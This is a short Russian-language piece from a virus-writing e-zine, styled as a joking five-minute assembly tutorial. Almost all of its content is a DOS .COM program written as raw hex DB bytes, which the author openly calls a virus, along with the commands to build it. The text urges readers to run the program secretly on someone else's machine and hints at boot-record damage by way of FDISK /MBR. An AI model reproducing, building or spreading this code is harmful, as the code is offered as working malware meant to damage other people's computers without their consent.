ZF

                           "Основы ассемблера"
                                     by DrMAD

Здравствуй, дружок!

    Хочешь, я расскажу тебе сказку? Нет, лучше будет, если я научу тебя
программировать  на языке ассемблера.  Ты думаешь,  это сложно и долго?
Ошибаешься - на всю учебу у нас с тобой уйдет... 5 минут, не больше!

    Вот смотри - сначала ты должен изучить четыре директивы:

    .MODEL TINY
    .CODE
    ORG 100H
    END

    Первые три ставятся в начале программы,  а четвертая - в конце. Что
они означают?  - А какая тебе разница,  главное помнить, что они нужны.
После  первых  трех  директив  ставится  входная  метка  - любое слово,
написанное латинскими буквами с двоеточием в конце, например такое:

    START:

    Кроме того, рекомендуется, чтобы в конце директивы END стояла та же
самая входная метка. Это будет выглядеть так:

    END START

    Наконец, необходимо  изучить еще одну важную директиву:  DB.  После
нее обычно пишутся разные 16-ричные числа,  которые и  составляют  тело
программы.

    И все,  изучение языка ассемблера завершено!  Давай для закрепления
материала напишем какую-нибудь простенькую программку.  Что? Ты хочешь,
чтобы это был вирус?  Ну ладно-ладно, так уж и быть, вирус так вирус...
Вот, получи:

.MODEL  TINY
.CODE
ORG     100h
START:
 DB 0FCH,0BEH,000H,001H,0BFH,01CH,001H,0B9H
 DB 094H,002H,02BH,0C0H,0ACH,081H,0FEH,01CH
 DB 001H,077H,004H,002H,0E0H,0E2H,0F5H,032H
 DB 0C4H,0AAH,0E2H,0F0H,007H,0BEH,0BDH,004H
 DB 0DDH,0BEH,006H,0BEH,0BFH,005H,03FH,0BFH
 DB 072H,0ACH,03EH,080H,045H,08CH,0CAH,08EH
 DB 03EH,0C0H,0AFH,000H,0BFH,0CAH,095H,03CH
 DB 000H,02FH,0BEH,0BFH,0CAH,09CH,079H,0F8H
 DB 0AFH,057H,078H,0F8H,0AEH,0D6H,0BEH,000H
 DB 061H,0BDH,001H,0DDH,0BCH,006H,08DH,0BFH
 DB 02FH,04CH,01BH,007H,0BEH,0BCH,004H,0DDH
 DB 0BEH,006H,0BEH,0BFH,005H,03FH,0BFH,072H
 DB 0ACH,07CH
 DB 64 DUP(056H,049H,052H,055H,053H,021H,021H,021H)
 DB 0DFH,0B9H,01H,027H,0C2H,00H
 DB 0BFH,0B6H,006H,0A9H,0BFH,007H,0BFH,007H
 DB 031H,07FH,013H,049H,06FH,015H,05DH,045H
 DB 0B8H,0DEH,000H,0BFH,0B9H,07CH,016H,041H
 DB 01FH,0CFH,009H,042H,01FH,0CFH,012H,043H
 DB 01FH,0CFH,015H,044H,01FH,0CFH,013H,045H
 DB 01FH,040H,061H,0F9H,056H,049H,052H,055H
 DB 053H, 021H
END START

    Осталось выполнить разные формальности:  откомпилировать  программу
командой

                     TASM <имя_файла>.asm

    и слинковать командой

                   TLINK <имя_файла>.obj /t

    Получится программа  с  расширением .com и длиной,  ну естественно,
666 байт. Запусти ее !

    А если кто-нибудь, особо вумный, скажет, что это был не ассемблер -
скажи ему три раза "ха-ха". Клянусь Аллахом - эта программа написана на
настоящем 100% -ном языке ассемблера!

    Что? Он упорствует  и  утверждает,  что  это  получился  не  вирус?
М-да...  Лишние мозги ему явно вредят... Поступи просто - пошути, в его
отсутствие запусти эту программу на его машине.  Что он теперь  на  это
скажет? J

    P.S. Кстати,  забыл предупредить. Есть такая программа FDISK.EXE. И
можно ее иногда запустить с таким вот ключиком - /MBR.  К чему это я? -
А черт его (меня) знает... J))



(C) NF, 1998-2004